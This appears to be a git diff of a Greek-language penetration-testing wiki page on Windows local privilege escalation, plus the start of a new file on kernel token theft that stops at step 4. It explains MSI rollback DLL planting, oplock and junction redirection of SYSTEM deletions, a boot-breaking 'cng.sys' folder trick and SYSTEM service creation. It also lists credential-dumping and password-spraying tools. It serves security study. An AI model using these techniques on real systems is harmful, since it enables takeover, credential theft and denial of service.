-- Μια **τύπου 19 προσαρμοσμένη ενέργεια (`ErrorOut`)** είναι ρυθμισμένη να **αποτυγχάνει σκόπιμα την εγκατάσταση** σε ένα γνωστό σημείο. -- Αυτό προκαλεί **την αρχή του rollback**. +- Step 12: Trigger the Rollback +- Σήμανε το sync event ώστε ο installer να συνεχίσει. +- Μια **type 19 custom action (`ErrorOut`)** έχει ρυθμιστεί να **προκαλεί σκόπιμα αποτυχία της εγκατάστασης** σε ένα γνωστό σημείο. +- Αυτό προκαλεί την έναρξη του **rollback**. -- Βήμα 13: Ο SYSTEM Εγκαθιστά το DLL σας +- Step 13: SYSTEM Installs Your DLL - Ο Windows Installer: -- Διαβάζει το κακόβουλο `.rbs` σας. -- Αντιγράφει το DLL `.rbf` σας στην στοχοθετημένη τοποθεσία. -- Τώρα έχετε το **κακόβουλο DLL σε μια διαδρομή φορτωμένη από το SYSTEM**. +- Διαβάζει το κακόβουλο `.rbs`. +- Αντιγράφει το `.rbf` DLL στον στοχευμένο προορισμό. +- Τώρα έχεις το **malicious DLL σε μια SYSTEM-loaded path**. -- Τελικό Βήμα: Εκτελέστε Κωδικό SYSTEM -- Εκτελέστε ένα αξιόπιστο **auto-elevated binary** (π.χ., `osk.exe`) που φορτώνει το DLL που καταλάβατε. -- **Boom**: Ο κωδικός σας εκτελείται **ως SYSTEM**. +- Final Step: Execute SYSTEM Code +- Τρέξε ένα αξιόπιστο **auto-elevated binary** (π.χ., `osk.exe`) που φορτώνει τη DLL που καταλάμβανες. +- **Boom**: Ο κώδικάς σου εκτελείται **ως SYSTEM**. -### Από Arbitrary File Delete/Move/Rename σε SYSTEM EoP +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -Η κύρια τεχνική rollback MSI (η προηγούμενη) υποθέτει ότι μπορείτε να διαγράψετε έναν **ολόκληρο φάκελο** (π.χ., `C:\Config.Msi`). Αλλά τι γίνεται αν η ευπάθειά σας επιτρέπει μόνο **αυθαίρετη διαγραφή αρχείων**; +Η κύρια τεχνική του MSI rollback (η προηγούμενη) προϋποθέτει ότι μπορείς να διαγράψεις έναν **ολόκληρο φάκελο** (π.χ., `C:\Config.Msi`). Αλλά τι γίνεται αν η ευπάθεια σου επιτρέπει μόνο **arbitrary file deletion** ; -Θα μπορούσατε να εκμεταλλευτείτε **εσωτερικά του NTFS**: κάθε φάκελος έχει ένα κρυφό εναλλακτικό ρεύμα δεδομένων που ονομάζεται: +Μπορείς να εκμεταλλευτείς τα **NTFS internals**: κάθε φάκελος έχει ένα κρυφό alternate data stream που ονομάζεται: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Αυτή η ροή αποθηκεύει τα **μεταδεδομένα ευρετηρίου** του φακέλου. +Αυτό το stream αποθηκεύει τα **μεταδεδομένα ευρετηρίου** του φακέλου. -Έτσι, αν **διαγράψετε τη ροή `::$INDEX_ALLOCATION`** ενός φακέλου, το NTFS **αφαιρεί ολόκληρο τον φάκελο** από το σύστημα αρχείων. +Έτσι, αν **διαγράψετε το stream `::$INDEX_ALLOCATION`** ενός φακέλου, το NTFS **αφαιρεί ολόκληρο τον φάκελο** από το σύστημα αρχείων. -Μπορείτε να το κάνετε αυτό χρησιμοποιώντας τις τυπικές APIs διαγραφής αρχείων όπως: +Μπορείτε να το κάνετε αυτό χρησιμοποιώντας τυπικά APIs διαγραφής αρχείων όπως: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Ακόμα και αν καλείτε μια API διαγραφής *αρχείου*, **διαγράφει τον φάκελο αυτόν καθαυτό**. +> Παρόλο που καλείτε ένα *file* delete API, αυτό **διαγράφει τον ίδιο τον φάκελο**. -### Από τη Διαγραφή Περιεχομένων Φακέλου σε SYSTEM EoP -Τι γίνεται αν η πρωτοβουλία σας δεν επιτρέπει να διαγράφετε αυθαίρετα αρχεία/φακέλους, αλλά **επιτρέπει τη διαγραφή των *περιεχομένων* ενός φακέλου που ελέγχεται από τον επιτιθέμενο**; +### Από Folder Contents Delete σε SYSTEM EoP +Τι γίνεται αν το primitive σας δεν επιτρέπει να διαγράψετε αυθαίρετα αρχεία/φακέλους, αλλά **does allow deletion of the *contents* of an attacker-controlled folder**? -1. Βήμα 1: Ρυθμίστε έναν φάκελο και ένα αρχείο δόλωμα -- Δημιουργήστε: `C:\temp\folder1` -- Μέσα σε αυτό: `C:\temp\folder1\file1.txt` +1. Step 1: Ρύθμιση ενός φακέλου και αρχείου-δόλωμα +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` -2. Βήμα 2: Τοποθετήστε μια **oplock** στο `file1.txt` -- Η oplock **παγώνει την εκτέλεση** όταν μια προνομιακή διαδικασία προσπαθεί να διαγράψει το `file1.txt`. +2. Step 2: Τοποθετήστε ένα **oplock** στο `file1.txt` +- Το oplock **παγώνει την εκτέλεση** όταν μια διεργασία με προνόμια προσπαθεί να διαγράψει το `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Βήμα 3: Ενεργοποίηση της διαδικασίας SYSTEM (π.χ., `SilentCleanup`) -- Αυτή η διαδικασία σαρώνει φακέλους (π.χ., `%TEMP%`) και προσπαθεί να διαγράψει το περιεχόμενό τους. -- Όταν φτάσει στο `file1.txt`, οι **oplock ενεργοποιούνται** και παραδίδουν τον έλεγχο στην callback σας. +3. Βήμα 3: Πρόκληση της διαδικασίας SYSTEM (π.χ., `SilentCleanup`) +- Αυτή η διαδικασία σαρώνει φακέλους (π.χ., `%TEMP%`) και προσπαθεί να διαγράψει τα περιεχόμενά τους. +- Όταν φτάνει στο `file1.txt`, τα **oplock triggers** και παραδίδουν τον έλεγχο στο callback σου. -4. Βήμα 4: Μέσα στην callback του oplock – ανακατεύθυνση της διαγραφής +4. Βήμα 4: Μέσα στο oplock callback – ανακατεύθυνση της διαγραφής -- Επιλογή A: Μετακίνηση του `file1.txt` αλλού +- Επιλογή A: Μετακινήστε το `file1.txt` αλλού - Αυτό αδειάζει το `folder1` χωρίς να σπάσει το oplock. -- Μην διαγράφετε το `file1.txt` απευθείας — αυτό θα απελευθέρωνε το oplock πρόωρα. +- Μην διαγράψετε το `file1.txt` απευθείας — αυτό θα απελευθερώσει το oplock πρόωρα. -- Επιλογή B: Μετατροπή του `folder1` σε **junction**: +- Επιλογή B: Μετατρέψτε το `folder1` σε ένα **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- Επιλογή C: Δημιουργήστε ένα **symlink** στο `\RPC Control`: +- Επιλογή Γ: Δημιουργήστε έναν **symlink** στο `\RPC Control`: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Αυτό στοχεύει στην εσωτερική ροή NTFS που αποθηκεύει μεταδεδομένα φακέλου — η διαγραφή της διαγράφει τον φάκελο. +> Αυτό στοχεύει το NTFS internal stream που αποθηκεύει τα μεταδεδομένα του φακέλου — η διαγραφή του διαγράφει τον φάκελο. 5. Βήμα 5: Απελευθέρωση του oplock -- Η διαδικασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει `file1.txt`. -- Αλλά τώρα, λόγω της διασταύρωσης + symlink, στην πραγματικότητα διαγράφει: +- Η διεργασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει `file1.txt`. +- Αλλά τώρα, λόγω του junction + symlink, στην πραγματικότητα διαγράφει: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Αποτέλεσμα**: `C:\Config.Msi` διαγράφεται από το SYSTEM. +**Αποτέλεσμα**: `C:\Config.Msi` διαγράφεται από SYSTEM. -### Από Δημιουργία Αυθαίρετης Φακέλου σε Μόνιμο DoS +### From Arbitrary Folder Create to Permanent DoS -Εκμεταλλευτείτε μια πρωτογενή δυνατότητα που σας επιτρέπει να **δημιουργήσετε έναν αυθαίρετο φάκελο ως SYSTEM/admin** — ακόμη και αν **δεν μπορείτε να γράψετε αρχεία** ή **να ορίσετε αδύναμες άδειες**. +Εκμεταλλευτείτε ένα primitive που σας επιτρέπει να **create an arbitrary folder as SYSTEM/admin** — ακόμη και αν **you can’t write files** ή **set weak permissions**. -Δημιουργήστε έναν **φάκελο** (όχι ένα αρχείο) με το όνομα ενός **κριτικού οδηγού των Windows**, π.χ.: +Δημιουργήστε ένα **folder** (not a file) με το όνομα ενός **critical Windows driver**, π.χ.: ``` C:\Windows\System32\cng.sys ``` -- Αυτός ο δρόμος κανονικά αντιστοιχεί στον `cng.sys` οδηγό λειτουργικού πυρήνα. -- Αν **δημιουργήσετε εκ των προτέρων έναν φάκελο**, τα Windows αποτυγχάνουν να φορτώσουν τον πραγματικό οδηγό κατά την εκκίνηση. -- Στη συνέχεια, τα Windows προσπαθούν να φορτώσουν το `cng.sys` κατά την εκκίνηση. -- Βλέπει τον φάκελο, **αποτυγχάνει να επιλύσει τον πραγματικό οδηγό**, και **καταρρέει ή σταματά την εκκίνηση**. -- Δεν υπάρχει **εναλλακτική λύση**, και **καμία αποκατάσταση** χωρίς εξωτερική παρέμβαση (π.χ., επισκευή εκκίνησης ή πρόσβαση σε δίσκο). +- Αυτή η διαδρομή συνήθως αντιστοιχεί στον kernel-mode driver `cng.sys`. +- Αν το **προ-δημιουργήσετε ως φάκελο**, Windows αποτυγχάνει να φορτώσει τον πραγματικό driver κατά την εκκίνηση. +- Στη συνέχεια, Windows προσπαθεί να φορτώσει το `cng.sys` κατά την εκκίνηση. +- Βλέπει το φάκελο, **αποτυγχάνει να εντοπίσει τον πραγματικό driver**, και **καταρρέει ή σταματά την εκκίνηση**. +- Δεν υπάρχει **εναλλακτική λύση**, και **δεν υπάρχει ανάκτηση** χωρίς εξωτερική παρέμβαση (π.χ., επιδιόρθωση εκκίνησης ή πρόσβαση στον δίσκο). -## **Από Υψηλή Ακεραιότητα σε Σύστημα** + +## **Από High Integrity σε System** ### **Νέα υπηρεσία** -Αν ήδη εκτελείστε σε μια διαδικασία Υψηλής Ακεραιότητας, ο **δρόμος προς το SYSTEM** μπορεί να είναι εύκολος απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**: +Αν εκτελείστε ήδη σε μια High Integrity διαδικασία, η **διαδρομή προς το SYSTEM** μπορεί να είναι εύκολη απλώς με τη **δημιουργία και εκτέλεση μιας νέας υπηρεσίας**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Όταν δημιουργείτε ένα δυαδικό αρχείο υπηρεσίας, βεβαιωθείτε ότι είναι έγκυρη υπηρεσία ή ότι το δυαδικό αρχείο εκτελεί τις απαραίτητες ενέργειες γρήγορα, καθώς θα τερματιστεί σε 20 δευτερόλεπτα αν δεν είναι έγκυρη υπηρεσία. +> Όταν δημιουργείτε ένα εκτελέσιμο για service, βεβαιωθείτε ότι είναι έγκυρο service ή ότι το εκτελέσιμο εκτελεί τις απαραίτητες ενέργειες και λειτουργεί γρήγορα, καθώς θα τερματιστεί σε 20s αν δεν είναι έγκυρο service. ### AlwaysInstallElevated -Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\ -[Περισσότερες πληροφορίες σχετικά με τα κλειδιά μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα _.msi_ πακέτο εδώ.](#alwaysinstallelevated) +Από μια High Integrity διεργασία μπορείτε να προσπαθήσετε να **ενεργοποιήσετε τις καταχωρήσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) -### Υψηλό + SeImpersonate δικαίωμα στο Σύστημα +### High + SeImpersonate privilege to System -**Μπορείτε** [**να βρείτε τον κώδικα εδώ**](seimpersonate-from-high-to-system.md)**.** +**Μπορείτε** [**find the code here**](seimpersonate-from-high-to-system.md)**.** -### Από SeDebug + SeImpersonate σε πλήρη δικαιώματα Token +### From SeDebug + SeImpersonate to Full Token privileges -Αν έχετε αυτά τα δικαιώματα token (πιθανώς θα τα βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το δικαίωμα SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\ -Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα δικαιώματα token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα δικαιώματα token_).\ -**Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.** +Εάν έχετε αυτά τα token privileges (πιθανότατα θα τα βρείτε σε μια ήδη High Integrity διεργασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε process** (όχι protected processes) με το SeDebug privilege, να **αντιγράψετε το token** της διεργασίας και να δημιουργήσετε μια **αυθαίρετη διεργασία με εκείνο το token**.\ +Η χρήση αυτής της τεχνικής συνήθως περιλαμβάνει την **επιλογή μιας διεργασίας που τρέχει ως SYSTEM με όλα τα token privileges** (_ναι, μπορείτε να βρείτε SYSTEM διεργασίες χωρίς όλα τα token privileges_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψει σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα **`SeImpersonate`** θα μπορεί να **υποδυθεί το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας δικαιώματα SYSTEM.\ -Αν θέλετε να [**μάθετε περισσότερα για τους ονομαστούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](#named-pipe-client-impersonation).\ -Αν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε Σύστημα χρησιμοποιώντας ονομαστούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md). +Αυτή η τεχνική χρησιμοποιείται από το meterpreter για escalate σε `getsystem`. Η τεχνική συνίσταται στο **δημιουργία ενός pipe και στη συνέχεια στη δημιουργία/κατάχρηση ενός service για να γράψει σε αυτό το pipe**. Στη συνέχεια, ο **server** που δημιούργησε το pipe χρησιμοποιώντας το **`SeImpersonate`** privilege θα μπορεί να **impersonate το token** του pipe client (το service), αποκτώντας SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Αν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος κλιμάκωσης δικαιωμάτων και, επιπλέον, είναι **πολύ πιο εύκολο να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\ -**Μπορείτε** [**να μάθετε περισσότερα για το Dll hijacking εδώ**](dll-hijacking/index.html)**.** +Εάν καταφέρετε να **hijackάρετε μια dll** που **φορτώνεται** από μια **process** που τρέχει ως **SYSTEM**, θα μπορέσετε να εκτελέσετε arbitrary code με αυτά τα permissions. Επομένως, το Dll Hijacking είναι χρήσιμο για αυτό το είδος privilege escalation και, επιπλέον, είναι πολύ **πιο εύκολο να το πετύχετε από μια high integrity process**, καθώς αυτή θα έχει **write permissions** στους φακέλους που χρησιμοποιούνται για το φόρτωμα των dlls.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** -### **Από Διαχειριστή ή Υπηρεσία Δικτύου σε Σύστημα** +### **From Administrator or Network Service to System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### Από ΥΠΗΡΕΣΙΑ ΤΟΠΙΚΗΣ ή ΥΠΗΡΕΣΙΑ ΔΙΚΤΥΟΥ σε πλήρη δικαιώματα +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Περισσότερη βοήθεια +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Χρήσιμα εργαλεία +## Useful tools -**Καλύτερο εργαλείο για αναζήτηση παραγόντων κλιμάκωσης τοπικών δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Καλύτερο εργαλείο για την αναζήτηση vectors τοπικής privilege escalation στα Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Ελέγξτε για κακή διαμόρφωση και ευαίσθητα αρχεία (**[**ελέγξτε εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Ανιχνεύθηκε.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Ελέγξτε για κάποιες πιθανές κακές διαμορφώσεις και συγκεντρώστε πληροφορίες (**[**ελέγξτε εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Ελέγξτε για κακή διαμόρφωση**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες από αποθηκευμένες συνεδρίες PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Ανιχνεύθηκε.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε τις συγκεντρωμένες κωδικούς πρόσβασης σε όλο το domain**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS και man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση privesc Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΕΙΣΑ για Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούν δικαιώματα Διαχειριστή)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Έλεγχος για λανθασμένες ρυθμίσεις και ευαίσθητα αρχεία (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Εντοπίστηκε.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Έλεγχος για πιθανές λανθασμένες ρυθμίσεις και συλλογή πληροφοριών (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Έλεγχος για λανθασμένες ρυθμίσεις**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες αποθηκευμένων συνεδριών για PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough σε τοπικό.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει credentials από το Credential Manager. Εντοπίστηκε.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάζει (spray) συλλεχθέντα passwords στο domain**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και εργαλείο man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική enumeration για privesc σε Windows**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζήτηση γνωστών privesc ευπαθειών (DEPRECATED για Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτεί δικαιώματα Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Αναζητήστε γνωστές ευπάθειες privesc (χρειάζεται να γίνει μεταγλώττιση χρησιμοποιώντας το VisualStudio) ([**προμεταγλωττισμένο**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Αναγνωρίζει τον υπολογιστή αναζητώντας κακές διαμορφώσεις (περισσότερο εργαλείο συγκέντρωσης πληροφοριών παρά privesc) (χρειάζεται να γίνει μεταγλώττιση) **(**[**προμεταγλωττισμένο**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Εξάγει διαπιστευτήρια από πολλά λογισμικά (προμεταγλωττισμένο exe στο github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Αναζήτηση γνωστών privesc ευπαθειών (χρειάζεται compile με VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Εντοπίζει στο host πιθανές λανθασμένες ρυθμίσεις (περισσότερο εργαλείο συλλογής πληροφοριών παρά privesc) (χρειάζεται compile) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Εξάγει credentials από πολλά προγράμματα (precompiled exe στο github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port του PowerUp σε C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Ελέγξτε για κακή διαμόρφωση (εκτελέσιμο προμεταγλωττισμένο στο github). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Ελέγξτε για πιθανές κακές διαμορφώσεις (exe από python). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Έλεγχος για λανθασμένες ρυθμίσεις (εκτελέσιμο precompiled στο github). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Έλεγχος για πιθανές λανθασμένες ρυθμίσεις (exe από python). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο που δημιουργήθηκε με βάση αυτή την ανάρτηση (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο δημιουργημένο με βάση αυτή την ανάρτηση (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει). -**Τοπικά** +**Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (τοπικό python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (τοπικό python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει διαθέσιμα exploits (τοπικό python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει διαθέσιμα exploits (τοπικό python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Πρέπει να μεταγλωττίσετε το έργο χρησιμοποιώντας την κατάλληλη έκδοση του .NET ([δείτε αυτό](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Για να δείτε την εγκατεστημένη έκδοση του .NET στον υπολογιστή του θύματος, μπορείτε να κάνετε: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1614,4 +1627,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md new file mode 100644 index 000000000..d5e0525d4 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -0,0 +1,122 @@ +# Windows kernel EoP: Token stealing with arbitrary kernel R/W + +{{#include ../../banners/hacktricks-training.md}} + +## Επισκόπηση + +Εάν ένας ευάλωτος driver εκθέτει ένα IOCTL που παρέχει σε έναν επιτιθέμενο αυθαίρετες δυνατότητες ανάγνωσης και/ή εγγραφής στον kernel, η αναβάθμιση σε NT AUTHORITY\SYSTEM μπορεί συχνά να επιτευχθεί κλέβοντας το SYSTEM access token. Η τεχνική αντιγράφει τον δείκτη Token από το EPROCESS μιας διεργασίας SYSTEM στο EPROCESS της τρέχουσας διεργασίας. + +Γιατί λειτουργεί: +- Κάθε διεργασία έχει μια δομή EPROCESS που περιέχει (μεταξύ άλλων πεδίων) ένα Token (στην πραγματικότητα ένα EX_FAST_REF σε ένα token object). +- Η διεργασία SYSTEM (PID 4) κατέχει ένα token με όλα τα προνόμια ενεργοποιημένα. +- Η αντικατάσταση του EPROCESS.Token της τρέχουσας διεργασίας με τον δείκτη token του SYSTEM κάνει την τρέχουσα διεργασία να τρέξει ως SYSTEM αμέσως. + +> Τα offsets στο EPROCESS διαφέρουν ανάλογα με τις εκδόσεις των Windows. Προσδιορίστε τα δυναμικά (symbols) ή χρησιμοποιήστε constants ανά έκδοση. Επίσης θυμηθείτε ότι το EPROCESS.Token είναι ένα EX_FAST_REF (τα χαμηλά 3 bits είναι flags μετρήματος αναφορών). + +## Βήματα υψηλού επιπέδου + +1) Εντοπίστε το base του ntoskrnl.exe και λύστε τη διεύθυνση του PsInitialSystemProcess. +- Από user mode, χρησιμοποιήστε NtQuerySystemInformation(SystemModuleInformation) ή EnumDeviceDrivers για να πάρετε τις βάσεις των φορτωμένων drivers. +- Προσθέστε το offset του PsInitialSystemProcess (από symbols/reversing) στη base του kernel για να πάρετε τη διεύθυνσή του. +2) Διαβάστε τον δείκτη στο PsInitialSystemProcess → αυτός είναι ένας kernel pointer στο EPROCESS του SYSTEM. +3) Από το EPROCESS του SYSTEM, διαβάστε τα offsets UniqueProcessId και ActiveProcessLinks για να διασχίσετε τη διπλά συνδεδεμένη λίστα των δομών EPROCESS (ActiveProcessLinks.Flink/Blink) μέχρι να βρείτε το EPROCESS του οποίου το UniqueProcessId ισούται με GetCurrentProcessId(). Κρατήστε και τα δύο: +- EPROCESS_SYSTEM (για το SYSTEM) +- EPROCESS_SELF (για την τρέχουσα διεργασία) +4) 